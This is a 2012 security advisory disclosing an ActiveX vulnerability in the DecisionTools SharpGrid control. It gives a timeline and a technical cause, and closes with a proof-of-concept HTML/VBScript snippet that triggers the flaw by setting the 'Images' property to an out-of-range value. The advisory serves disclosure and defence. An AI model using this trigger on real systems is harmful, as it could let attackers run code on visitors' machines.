DecisionTools SharpGrid Active-X Code Execution

2012.05.10
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

##################################################################################### Application: DecisionTools SharpGrid ActiveX Control Code Execution Vulnerability Platforms: Windows Secunia: SA48571 Date: 2012-05-09 Author: Francis Provencher (Protek Research Lab's) Website: http://www.protekresearchlab.com/ Twitter: @ProtekResearch ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) POC ##################################################################################### =============== 1) Introduction =============== The DecisionTools Suite is an integrated set of programs for risk analysis and decision making under uncertainty that runs in Microsoft Excel. The DecisionTools Suite includes @RISK for Monte Carlo simulation, PrecisionTree for decision trees, and TopRank for ?what if? sensitivity analysis. In addition, the DecisionTools Suite comes with StatTools for statistical analysis and forecasting, NeuralTools for predictive neural networks, and Evolver and RISKOptimizer for optimization. All programs work together better than ever before, and all integrate completely with Microsoft Excel for ease of use and maximum flexibility. http://www.palisade.com/decisiontools_suite/ ##################################################################################### ============================ 2) Report Timeline ============================ 2012-03-26 Vulnerability reported to Secunia 2012-05-09 Publication of this advisory ##################################################################################### ============================ 3) Technical details ============================ The vulnerability is caused due to the "Images" property in the SharpGrid ActiveX control insecurely using the assigned value as an image list pointer and can be exploited to call a virtual function within an arbitrary memory location. ##################################################################################### =========== 4) POC =========== <object classid='clsid:5BAADB36-D13B-4708-B8E6-7FACF1BF6783' id='target' /> <script language='vbscript'> targetFile = "C:\Program Files\Common Files\Data Dynamics\Sharpgrid\sg20u.ocx" prototype = "Property Let Images As Long" memberName = "Images" progid = "DDSharpGrid2U.SGGrid" argCount = 1 arg1=2147483647 target.Images = arg1 </script>

References:

http://www.protekresearchlab.com/


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